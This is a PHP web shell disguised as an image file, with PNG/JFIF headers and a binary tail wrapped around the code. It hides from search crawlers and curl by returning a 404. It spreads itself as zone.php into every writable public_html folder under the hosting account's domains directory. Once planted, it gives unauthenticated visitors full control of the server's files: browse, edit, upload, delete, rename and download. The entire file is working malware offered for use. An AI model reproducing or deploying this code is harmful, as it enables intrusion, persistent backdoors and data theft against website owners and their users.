 PNG
 JFIF      
 PNG
 JFIF      
<?php
error_reporting(0);

/*simple Bypass copy - nyx6st-6ickzone*/
error_reporting(0);  
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl'];
    if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
// === Configuration ===  
$copyName = 'zone.php';  
    
function locateDomainsPath($start) {  
    $dir = realpath($start);  
    while ($dir && $dir !== '/') {  
        if (preg_match('/\/u[0-9a-z]+$/', $dir) && is_dir($dir . '/domains')) {  
            return realpath($dir . '/domains');  
        }  
        $dir = dirname($dir);  
    }  
    return false;  
}  
  
function deployToDomains($sourceFile, $targetName) {  
    $domainRoot = locateDomainsPath(__DIR__);  
    $deployed = [];  
    if ($domainRoot) {  
        foreach (scandir($domainRoot) as $domain) {  
            if ($domain === '.' || $domain === '..') continue;  
            $htmlPath = "$domainRoot/$domain/public_html";  
            if (is_dir($htmlPath) && is_writable($htmlPath)) {  
                $targetPath = "$htmlPath/$targetName";  
                if (@copy($sourceFile, $targetPath)) {  
                    $deployed[] = "http://$domain/$targetName";  
                }  
            }  
        }  
    }  
    return $deployed;  
}  
  
$self = __FILE__;  
$urls = deployToDomains($self, $copyName);  


// --- Fungsionalitas Dasar ---
$cwd = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$cwd || !is_dir($cwd)) $cwd = getcwd();

// --- Handler Aksi ---
if (isset($_GET['action'])) {
    $action = $_GET['action'];
    $item = $cwd . '/' . basename($_GET['item']);
    
    if ($action === 'delete' && file_exists($item)) {
        if (is_dir($item)) {
            if (count(scandir($item)) == 2) { // Cek apakah folder kosong (hanya berisi . dan ..)
                rmdir($item);
            } else {
                echo "<p style='color:#f66'>❌ Gagal: Folder tidak kosong.</p>";
            }
        } else {
            unlink($item);
        }
        header("Location: ?path=" . urlencode($cwd));
        exit;
    }
    
    if ($action === 'rename' && file_exists($item) && isset($_POST['new_name'])) {
        $newName = $cwd . '/' . basename($_POST['new_name']);
        rename($item, $newName);
        header("Location: ?path=" . urlencode($cwd));
        exit;
    }

    if ($action === 'download' && is_file($item)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($item) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($item));
        readfile($item);
        exit;
    }
}

// --- Upload & Buat Folder ---
if (!empty($_FILES['upload']['name'])) {
    $target = $cwd . '/' . basename($_FILES['upload']['name']);
    move_uploaded_file($_FILES['upload']['tmp_name'], $target);
    echo "<p style='color:#0f0'>📤 Berhasil Unggah: " . htmlspecialchars($_FILES['upload']['name']) . "</p>";
}
if (!empty($_POST['newdir'])) {
    $newFolder = $cwd . '/' . basename($_POST['newdir']);
    if (!file_exists($newFolder)) {
        mkdir($newFolder);
        echo "<p style='color:#0f0'>📁 Folder berhasil dibuat</p>";
    } else {
        echo "<p style='color:#f66'>❌ Gagal: Folder sudah ada.</p>";
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager - Versi Lengkap</title>
    <style>
        body { background: #1a1a1a; color: #f1f1f1; font-family: sans-serif; padding: 20px; }
        a { color: #4CAF50; text-decoration: none; transition: color 0.3s; }
        a:hover { color: #8BC34A; }
        textarea, input[type=text] { width: 100%; font-family: monospace; background: #2b2b2b; color: #fff; border: 1px solid #444; padding: 10px; box-sizing: border-box; border-radius: 5px; margin-bottom: 10px; }
        input[type=submit] { background: #4CAF50; color: white; border: none; padding: 10px 15px; border-radius: 5px; cursor: pointer; transition: background 0.3s; }
        input[type=submit]:hover { background: #45a049; }
        .file-manager-container { display: flex; flex-direction: column; gap: 15px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 12px; text-align: left; border-bottom: 1px solid #333; }
        th { background-color: #333; font-weight: bold; }
        tr:hover { background-color: #2b2b2b; }
        .actions a { margin-right: 10px; }
        .actions a.delete { color: #f44336; }
        .actions a.delete:hover { color: #ff0000; }
        .actions a.download { color: #2196F3; }
        .actions a.download:hover { color: #007bff; }
        
        @media (max-width: 768px) {
            table, thead, tbody, th, td, tr { display: block; }
            thead tr { position: absolute; top: -9999px; left: -9999px; }
            tr { border: 1px solid #444; margin-bottom: 15px; border-radius: 8px; }
            td { border: none; position: relative; padding-left: 50%; text-align: right; }
            td:before { content: attr(data-label); position: absolute; left: 10px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: bold; color: #888; }
            .actions { text-align: left !important; margin-top: 10px; }
        }
    </style>
</head>
<body>

    <h2>🗂️ File Manager</h2>
    <p><b>Path:</b> 
    <?php
    $parts = explode('/', trim($cwd, '/'));
    $build = '/';
    foreach ($parts as $part) {
        $build .= "$part/";
        echo "<a href='?password=$password&path=" . urlencode($build) . "'>$part</a>/";
    }
    echo "</p><hr>";

    // --- File Editor ---
    if (isset($_GET['edit'])) {
        $file = realpath($cwd . '/' . basename($_GET['edit']));
        if (is_file($file)) {
            if (isset($_POST['content'])) {
                file_put_contents($file, $_POST['content']);
                echo "<p style='color:#0f0'>✅ Disimpan</p>";
            }
            $code = htmlspecialchars(file_get_contents($file));
            echo "<h3>✏️ Mengedit: " . basename($file) . "</h3> 
            <form method='post'> 
                <textarea name='content' rows='20'>$code</textarea><br> 
                <input type='submit' value='Simpan'> 
            </form> 
            <p><a href='?password=$password&path=" . urlencode($cwd) . "'>🔙 Kembali</a></p>";
            exit;
        }
    }

    // --- Daftar Direktori ---
    ?>
    <div class="file-manager-container">
        <table>
            <thead>
                <tr>
                    <th>Nama</th>
                    <th>Ukuran</th>
                    <th>Izin</th>
                    <th>Dimodifikasi</th>
                    <th>Aksi</th>
                </tr>
            </thead>
            <tbody>
                <?php
                foreach (scandir($cwd) as $item) {
                    if ($item === '.') continue;
                    $full = $cwd . '/' . $item;
                    $encodedPath = urlencode($cwd);
                    
                    if (is_dir($full)) {
                        echo "<tr>";
                        echo "<td data-label='Nama'>📁 <a href='?password=$password&path=" . urlencode($full) . "'>" . htmlspecialchars($item) . "</a></td>";
                        echo "<td data-label='Ukuran'>-</td>";
                        echo "<td data-label='Izin'>" . substr(sprintf('%o', fileperms($full)), -4) . "</td>";
                        echo "<td data-label='Dimodifikasi'>" . date("Y-m-d H:i", filemtime($full)) . "</td>";
                        echo "<td data-label='Aksi' class='actions'>";
                        echo "<a href='?password=$password&path=$encodedPath&action=delete&item=" . urlencode($item) . "' class='delete' onclick='return confirm(\"Yakin hapus folder ini?\")'>[Hapus]</a>";
                        echo "</td>";
                        echo "</tr>";
                    } else {
                        echo "<tr>";
                        echo "<td data-label='Nama'>📄 <a href='?password=$password&path=$encodedPath&edit=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a></td>";
                        echo "<td data-label='Ukuran'>" . round(filesize($full) / 1024, 2) . " KB</td>";
                        echo "<td data-label='Izin'>" . substr(sprintf('%o', fileperms($full)), -4) . "</td>";
                        echo "<td data-label='Dimodifikasi'>" . date("Y-m-d H:i", filemtime($full)) . "</td>";
                        echo "<td data-label='Aksi' class='actions'>";
                        echo "<a href='?password=$password&path=$encodedPath&edit=" . urlencode($item) . "'>[Edit]</a>";
                        echo "<a href='?password=$password&path=$encodedPath&action=download&item=" . urlencode($item) . "' class='download'>[Unduh]</a>";
                        echo "<a href='#' onclick='let newName = prompt(\"Ganti nama:\", \"$item\"); if(newName) window.location.href=\"?password=$password&path=$encodedPath&action=rename&item=" . urlencode($item) . "&new_name=\" + newName;'>[Ganti Nama]</a>";
                        echo "<a href='?password=$password&path=$encodedPath&action=delete&item=" . urlencode($item) . "' class='delete' onclick='return confirm(\"Yakin hapus file ini?\")'>[Hapus]</a>";
                        echo "</td>";
                        echo "</tr>";
                    }
                }
                ?>
            </tbody>
        </table>
    </div>

    <hr>
    
    <div style="display:flex; gap: 20px; flex-wrap: wrap;">
        <div style="flex:1;">
            <form method='post' enctype='multipart/form-data'>
                <label>📤 Unggah File:</label><br>
                <input type='file' name='upload'><br>
                <input type='hidden' name='password' value='<?php echo htmlspecialchars($password); ?>'>
                <input type='submit' value='Unggah'>
            </form>
        </div>
        <div style="flex:1;">
            <form method='post'>
                <label>📁 Folder Baru:</label><br>
                <input type='text' name='newdir'><br>
                <input type='hidden' name='password' value='<?php echo htmlspecialchars($password); ?>'>
                <input type='submit' value='Buat'>
            </form>
        </div>
    </div>
</body>
</html>
<!-- image binary tail -->
    nTJnLK  @! -    m 